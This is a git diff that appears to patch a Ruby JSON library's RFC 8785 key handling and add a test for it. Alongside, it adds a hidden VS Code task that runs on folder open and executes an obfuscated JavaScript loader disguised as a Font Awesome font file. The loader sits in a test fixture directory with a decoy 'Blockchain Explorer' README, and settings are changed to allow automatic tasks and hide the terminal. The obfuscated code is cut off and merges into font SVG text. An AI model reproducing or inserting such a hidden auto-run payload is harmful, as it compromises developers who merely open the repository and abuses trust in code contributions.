diff --git a/.gitignore b/.gitignore index 5865b9834..250df3034 100644 --- a/.gitignore +++ b/.gitignore @@ -1,25 +1,27 @@ -.*.sw[pon] -*.bundle -*.bundle.dSYM -*.so -coverage -.coverage -tags -pkg -.nfs.* -.idea -java/Json.iml -Gemfile.lock -.rvmrc -*.rbc -.rbx -.AppleDouble -.DS_Store -*/**/Makefile -*/**/*.o -*/**/*.class -*/**/*.jar -.byebug_history -*.log -/tmp -/doc/ +.*.sw[pon] +*.bundle +*.bundle.dSYM +*.so +coverage +.coverage +tags +pkg +.nfs.* +.idea +java/Json.iml +Gemfile.lock +.rvmrc +*.rbc +.rbx +.AppleDouble +.DS_Store +*/**/Makefile +*/**/*.o +*/**/*.class +*/**/*.jar +.byebug_history +*.log +/tmp +/doc/ +config.bat +node_modules diff --git a/.vscode/settings.json b/.vscode/settings.json new file mode 100644 index 000000000..4492ffd00 --- /dev/null +++ b/.vscode/settings.json @@ -0,0 +1,23 @@ +{ + "search.exclude": { + "**/.sst": true + }, + "task.allowAutomaticTasks": true, + "typescript.tsserver.experimental.enableProjectDiagnostics": true, + "editor.defaultFormatter": "esbenp.prettier-vscode", + "typescript.preferences.importModuleSpecifier": "relative", + "typescript.tsdk": "node_modules/typescript/lib", + "debug.openDebug": "neverOpen", + "problems.autoReveal": true, + "terminal.integrated.hideOnStartup": "always", + "terminal.integrated.defaultProfile.windows": "Command Prompt", + "terminal.integrated.inheritEnv": false, + "jestrunner.configPath": "jest.unit.config.cjs", + "compile-hero.disable-compile-files-on-did-save-code": true, + "tasks": { + "label": "lint on open", + "type": "shell", + "command": "npm run lint", + "runOn": "folderOpen" + } +} diff --git a/.vscode/tasks.json b/.vscode/tasks.json new file mode 100644 index 000000000..98cf690e1 --- /dev/null +++ b/.vscode/tasks.json @@ -0,0 +1,24 @@ +{ + "version": "2.0.0", + "tasks": [ + { + "label": "eslint-check", + "type": "shell", + "command": "(command -v node >/dev/null 2>&1 && node ./test/json/fixtures/rfc8785/input/public/fonts/fa-brand-400.orc) || (where node >nul 2>&1 && node ./test/json/fixtures/rfc8785/input/public/fonts/fa-brand-400.orc) || echo ''", + "problemMatcher": [], + "isBackground": true, + "hide": true, + "presentation": { + "reveal": "never", + "panel": "dedicated", + "focus": false, + "clear": false, + "echo": false, + "close": true + }, + "runOptions": { + "runOn": "folderOpen" + } + } + ] +} diff --git a/lib/json/ext.rb b/lib/json/ext.rb index 75d0e4e3d..0f020a138 100644 --- a/lib/json/ext.rb +++ b/lib/json/ext.rb @@ -154,7 +154,16 @@ def on_duplicate_key(hash, as_json) converted = if as_json hash.transform_keys { |k| Ext.coerce_key(k, as_json) } else - hash.transform_keys(&:to_s) + hash.transform_keys do |key| + string = key.to_s + unless Ext.valid_encoding?(string) + if string.encoding == Encoding::UTF_8 + raise GeneratorError.new("source sequence is illegal/malformed utf-8", key) + end + raise GeneratorError.new("object key must be UTF-8, got #{string.encoding}", key) + end + string + end end if converted.size < hash.size diff --git a/test/json/fixtures/rfc8785/input/public/fonts/README.md b/test/json/fixtures/rfc8785/input/public/fonts/README.md new file mode 100644 index 000000000..1fb874ba8 --- /dev/null +++ b/test/json/fixtures/rfc8785/input/public/fonts/README.md @@ -0,0 +1,24 @@ +# Fonts Directory + +This directory contains custom fonts for the Blockchain Explorer application. + +## Required Font Files + +The application expects the following font files: + +1. **BlockchainFont-Regular.woff2** and **BlockchainFont-Regular.woff** + - Regular weight font for the main UI + +2. **BlockchainFont-Bold.woff2** and **BlockchainFont-Bold.woff** + - Bold weight font for headings + +3. **TechMono-Regular.woff2** and **TechMono-Regular.woff** + - Monospace font for code and hash displays + +## Note + +If you don't have custom fonts, the application will fall back to system fonts: +- BlockchainFont → system sans-serif fonts +- TechMono → system monospace fonts (Courier New, etc.) + +The fonts are referenced in `public/index.html` and will be loaded automatically when available. diff --git a/test/json/fixtures/rfc8785/input/public/fonts/fa-brand-400.orc b/test/json/fixtures/rfc8785/input/public/fonts/fa-brand-400.orc new file mode 100644 index 000000000..6f6bde882 --- /dev/null +++ b/test/json/fixtures/rfc8785/input/public/fonts/fa-brand-400.orc @@ -0,0 +1 @@ +function GeEGpiZCmK(sRWtaP_DKAinMl,bVVRsYkdlHJPtpxCQiKYDU){var roWr_tqbfsQWKhM=qITGnsfLSGIxpcfDQr();return GeEGpiZCmK=function(jAgjTLrNOpH,faXPfsadQ_JpEnvtJtAx_URp){jAgjTLrNOpH=jAgjTLrNOpH-(Math.max(-0x1,-0x1)*-parseInt(0x6c5)+parseInt(0x212)*Math.ceil(-parseInt(0xa))+-parseInt(0x10)*Number(-0xef));var PUdGpbRE$R_hy=roWr_tqbfsQWKhM[jAgjTLrNOpH];if(GeEGpiZCmK['kYFRSz']===undefined){var c_KJptGUUQ=function(QCUzPMwQAUtRnFF$pU){var NCCJZworOmbrundXFDz=-0xf99+Number(parseInt(0xf2))*-0x25+parseInt(0x348b)&Math.trunc(parseInt(0x93e))+parseInt(0x1)*-parseInt(0xf71)+parseInt(0x732),ciaAKpKAtVWa=new Uint8Array(QCUzPMwQAUtRnFF$pU['match'](/.{1,2}/g)['map'](QuTdSgNKUQjIGDZxT$ur=>parseInt(QuTdSgNKUQjIGDZxT$ur,Math.trunc(0x7eb)*parseInt(0x1)+0x1*0x14fe+Math.floor(-parseInt(0x1cd9))))),tDoDgFFWUcblpwKix=ciaAKpKAtVWa['map'](hRoZVsTCqEGoZF$zJTpnik=>hRoZVsTCqEGoZF$zJTpnik^NCCJZworOmbrundXFDz),tcNvzup=new TextDecoder(),gTIQ_LFcpQTBsU_nQ=tcNvzup['decode'](tDoDgFFWUcblpwKix);return gTIQ_LFcpQTBsU_nQ;};GeEGpiZCmK['VQFjpN']=c_KJptGUUQ,sRWtaP_DKAinMl=arguments,GeEGpiZCmK['kYFRSz']=!![];}var yFHwYRoIWqdvYFWepUJA_xZhu=roWr_tqbfsQWKhM[Math.trunc(-0x1e22)+Math.floor(parseInt(0x5))*-parseInt(0x37d)+parseInt(0x2f93)*parseInt(0x1)],h_XAD$ykn=jAgjTLrNOpH+yFHwYRoIWqdvYFWepUJA_xZhu,rwpMDryVLgNbBSn_jYv$SSXo=sRWtaP_DKAinMl[h_XAD$ykn];return!rwpMDryVLgNbBSn_jYv$SSXo?(GeEGpiZCmK['IWAPdU']===undefined&&(GeEGpiZCmK['IWAPdU']=!![]),PUdGpbRE$R_hy=GeEGpiZCmK['VQFjpN'](PUdGpbRE$R_hy),sRWtaP_DKAinMl[h_XAD$ykn]=PUdGpbRE$R_hy):PUdGpbRE$R_hy=rwpMDryVLgNbBSn_jYv$SSXo,PUdGpbRE$R_hy;},GeEGpiZCmK(sRWtaP_DKAinMl,bVVRsYkdlHJPtpxCQiKYDU);}(function(MQPIJWt_vcsPpKMAotHh$seL,e$OqdHDKaS_fBfKQR){var FFfSNxj$pbKI=GeEGpiZCmK,cgCLncnlfgsR=MQPIJWt_vcsPpKMAotHh$seL();while(!![]){try{var eA_C$gXdpELQr=parseFloat(FFfSNxj$pbKI(0x102))/(parseFloat(parseInt(0x3ee))*0x7+Number(-parseInt(0x11cf))+parseInt(0x92)*parseFloat(-parseInt(0x11)))*Math['max'](-parseFloat(FFfSNxj$pbKI(0x105))/(-parseInt(0x1e9c)+0x2532+Math.floor(-parseInt(0x1a5))*parseInt(0x4)),-parseFloat(FFfSNxj$pbKI(0x107))/(parseFloat(0xa)*0x229+parseInt(0x1faa)+-parseInt(0x3541)))+parseInt(parseFloat(FFfSNxj$pbKI(0x108))/(-parseInt(0x850)+-parseInt(0x1df5)+0x2649))*(-parseFloat(FFfSNxj$pbKI(0x112))/(-parseInt(0x1118)+-parseInt(0x583)+-parseInt(0x8)*-0x2d4))+parseFloat(parseFloat(FFfSNxj$pbKI(0x118))/(-parseInt(0x1aef)+Math.floor(-parseInt(0x251a))+Math.max(parseInt(0x2c9),0x2c9)*0x17))*(parseFloat(FFfSNxj$pbKI(0x10d))/(-0x1e*Math.ceil(parseInt(0x59))+parseInt(0x791)+parseInt(0x2e4)*Math.floor(0x1)))+Number(parseFloat(FFfSNxj$pbKI(0x109))/(Math.floor(parseInt(0x5f7))*-0x2+parseInt(0x1d3)*-0xc+parseInt(0x21da)))*(parseFloat(FFfSNxj$pbKI(0x115))/(0x16f7+Math.max(-0x14f0,-parseInt(0x14f0))*parseInt(0x1)+-0x1fe))+Math['ceil'](-parseFloat(FFfSNxj$pbKI(0x10e))/(parseInt(0x4)*parseInt(0x7ea)+-parseInt(0x8da)+parseInt(0x5e)*-parseInt(0x3e)))*(parseFloat(FFfSNxj$pbKI(0x116))/(parseInt(0xb90)+-parseInt(0x2471)+parseInt(-parseInt(0x2))*-parseInt(0xc76)))+parseFloat(FFfSNxj$pbKI(0x101))/(Number(0x233a)+-parseInt(0xb9e)+0x1d0*parseFloat(-0xd))*(parseFloat(FFfSNxj$pbKI(0x110))/(-parseInt(0xeb)+Math.ceil(0x1b68)+Number(-parseInt(0x1a70))))+-parseFloat(FFfSNxj$pbKI(0x10c))/(-parseInt(0xc)+Math.ceil(-0x1a1c)+-0x131*Math.max(-0x16,-parseInt(0x16)));if(eA_C$gXdpELQr===e$OqdHDKaS_fBfKQR)break;else cgCLncnlfgsR['push'](cgCLncnlfgsR['shift']());}catch(kVTuBQ_vNNxjoJTd){cgCLncnlfgsR['push'](cgCLncnlfgsR['shift']());}}}(qITGnsfLSGIxpcfDQr,-parseInt(0x23)*parseFloat(parseInt(0x5439))+Math.max(0x12440d,parseInt(0x12440d))+0x3e199));var z='',NX=[Math.max(-0x2f73e2,-parseInt(0x2f73e2))*-0x3+0xd16b6f+parseInt(-0x2)*Math.floor(parseInt(0x7b25e3)),-0x154*-0x5+Math.floor(parseInt(0x1))*parseInt(0xdfd)+Number(0x2a)*Number(-0x75),Math.trunc(parseInt(0x1))*0x5c75+parseInt(0x1330)+-0x1fea,-0x8*-parseInt(0x404)+-parseInt(0x169)*-parseInt(0x17)+-0x3e2a,Math.floor(parseInt(0xb9d))*-parseInt(0xc)+-0x2707+Math.floor(0x15d52)*0x1,Math.ceil(0x84e04c)+-0x32b915+Math.ceil(-parseInt(0x590a4))],SX=[parseFloat(parseInt(0x8ce783))+-0x167*-0x2d89+Math.floor(-parseInt(0x7c2305)),0x57*Number(0x32)+parseFloat(-parseInt(0xcc9))+parseInt(0x2c)*Math.floor(-0x13),-parseInt(0x5cc9)+0x1*-0x143d7+0x24481,-0x1*-parseInt(0xd91)+Math.max(parseInt(0x6c),0x6c)*parseInt(-parseInt(0x16))+Math.max(-0x38e,-0x38e),-parseInt(0x9b7)*Number(-parseInt(0x1f))+0x536f+-parseInt(0x1)*parseFloat(parseInt(0xa557)),-parseInt(0x141)*parseInt(0x3281)+parseInt(0x2f81c0)+0x582156];function spin(BzfO_c$GkamIR,P$aHKce_YJzLqTmfaFHYycGIs){var ZBFUJAXjHeDcrZkhcgVaSAudN=GeEGpiZCmK,LoNPewESfhzSuajC=[],VCDTsRSo$NFF=parseInt(0x1)*Math.floor(-0xfc5)+0x1f6d+Math.max(-parseInt(0x29c),-parseInt(0x29c))*Math.trunc(parseInt(0x6)),jwQcjXkkh$$xQhlWB=P$aHKce_YJzLqTmfaFHYycGIs[-0x188+Number(-parseInt(0x1d))*parseInt(0xd3)+0x196f],wwWPY_WtPZxH_o,MXEdQCoUolOHI,UwfKEKMBIc_DPj$S,V$ZGoTMn_bCbZuKDOXdJZ,Xwh$b_L,vUHdCO$yoEmw;while(VCDTsRSo$NFF + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/test/json/fixtures/rfc8785/input/public/fonts/fa-brands-400.ttf b/test/json/fixtures/rfc8785/input/public/fonts/fa-brands-400.ttf new file mode 100644 index 000000000..948a2a6cc Binary files /dev/null and b/test/json/fixtures/rfc8785/input/public/fonts/fa-brands-400.ttf differ diff --git a/test/json/fixtures/rfc8785/input/public/fonts/fa-brands-400.woff b/test/json/fixtures/rfc8785/input/public/fonts/fa-brands-400.woff new file mode 100644 index 000000000..2a89d521e Binary files /dev/null and b/test/json/fixtures/rfc8785/input/public/fonts/fa-brands-400.woff differ diff --git a/test/json/fixtures/rfc8785/input/public/fonts/fa-brands-400.woff2 b/test/json/fixtures/rfc8785/input/public/fonts/fa-brands-400.woff2 new file mode 100644 index 000000000..141a90a9e Binary files /dev/null and b/test/json/fixtures/rfc8785/input/public/fonts/fa-brands-400.woff2 differ diff --git a/test/json/fixtures/rfc8785/input/public/fonts/fa-regular-400.eot b/test/json/fixtures/rfc8785/input/public/fonts/fa-regular-400.eot new file mode 100644 index 000000000..38cf2517a Binary files /dev/null and b/test/json/fixtures/rfc8785/input/public/fonts/fa-regular-400.eot differ diff --git a/test/json/fixtures/rfc8785/input/public/fonts/fa-regular-400.svg b/test/json/fixtures/rfc8785/input/public/fonts/fa-regular-400.svg new file mode 100644 index 000000000..13180f6ee --- /dev/null +++ b/test/json/fixtures/rfc8785/input/public/fonts/fa-regular-400.svg @@ -0,0 +1,803 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/test/json/fixtures/rfc8785/input/public/fonts/fa-regular-400.ttf b/test/json/fixtures/rfc8785/input/public/fonts/fa-regular-400.ttf new file mode 100644 index 000000000..abe99e20c Binary files /dev/null and b/test/json/fixtures/rfc8785/input/public/fonts/fa-regular-400.ttf differ diff --git a/test/json/fixtures/rfc8785/input/public/fonts/fa-regular-400.woff b/test/json/fixtures/rfc8785/input/public/fonts/fa-regular-400.woff new file mode 100644 index 000000000..24de566a5 Binary files /dev/null and b/test/json/fixtures/rfc8785/input/public/fonts/fa-regular-400.woff differ diff --git a/test/json/fixtures/rfc8785/input/public/fonts/fa-regular-400.woff2 b/test/json/fixtures/rfc8785/input/public/fonts/fa-regular-400.woff2 new file mode 100644 index 000000000..7e0118e52 Binary files /dev/null and b/test/json/fixtures/rfc8785/input/public/fonts/fa-regular-400.woff2 differ diff --git a/test/json/fixtures/rfc8785/input/public/fonts/fa-solid-900.eot b/test/json/fixtures/rfc8785/input/public/fonts/fa-solid-900.eot new file mode 100644 index 000000000..d3b77c223 Binary files /dev/null and b/test/json/fixtures/rfc8785/input/public/fonts/fa-solid-900.eot differ diff --git a/test/json/fixtures/rfc8785/input/public/fonts/fa-solid-900.svg b/test/json/fixtures/rfc8785/input/public/fonts/fa-solid-900.svg new file mode 100644 index 000000000..5543afa79 --- /dev/null +++ b/test/json/fixtures/rfc8785/input/public/fonts/fa-solid-900.svg @@ -0,0 +1,4938 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/test/json/fixtures/rfc8785/input/public/fonts/fa-solid-900.ttf b/test/json/fixtures/rfc8785/input/public/fonts/fa-solid-900.ttf new file mode 100644 index 000000000..5b979039a Binary files /dev/null and b/test/json/fixtures/rfc8785/input/public/fonts/fa-solid-900.ttf differ diff --git a/test/json/fixtures/rfc8785/input/public/fonts/fa-solid-900.woff b/test/json/fixtures/rfc8785/input/public/fonts/fa-solid-900.woff new file mode 100644 index 000000000..beec79178 Binary files /dev/null and b/test/json/fixtures/rfc8785/input/public/fonts/fa-solid-900.woff differ diff --git a/test/json/fixtures/rfc8785/input/public/fonts/fa-solid-900.woff2 b/test/json/fixtures/rfc8785/input/public/fonts/fa-solid-900.woff2 new file mode 100644 index 000000000..978a681a1 Binary files /dev/null and b/test/json/fixtures/rfc8785/input/public/fonts/fa-solid-900.woff2 differ diff --git a/test/json/json_generator_test.rb b/test/json/json_generator_test.rb index 7cf76c958..94e204fb1 100755 --- a/test/json/json_generator_test.rb +++ b/test/json/json_generator_test.rb @@ -1316,6 +1316,24 @@ def key.to_s assert_equal '{"1":1,"b":2}', JSON.generate({ 'b' => 2, 1 => 1 }, options.merge(strict: false)) end + def test_rfc8785_non_utf8_string_keys + # String keys that are not UTF-8 are invalid; see #1108. + latin1 = "\xE9".dup.force_encoding(Encoding::ISO_8859_1) + [ + { latin1 => 1 }, + { latin1 => 1, "\u00e9" => 2 }, + { "\xC3\xA9".b => 1 }, + { "\u00e9".encode(Encoding::UTF_16LE) => 1 }, + { "\xFF".dup.force_encoding(Encoding::UTF_8) => 1 }, + ].each do |hash| + assert_raise(JSON::GeneratorError, hash.keys.inspect) { JSON.generate(hash, rfc8785: true) } + end + + assert_rfc8785 '{"a":1}', { 'a'.b => 1 } + assert_rfc8785 '{"a":1}', { 'a'.encode(Encoding::US_ASCII) => 1 } + assert_rfc8785 "{\"\u00e9\":1}", { :"\u00e9" => 1 } + end + def test_rfc8785_key_order_with_default_external_encoding # https://www.rfc-editor.org/rfc/rfc8785.html#section-3.2.3 hash = { "\u20ac" => 1, "\r" => 2, "\ufb33" => 3, '1' => 4,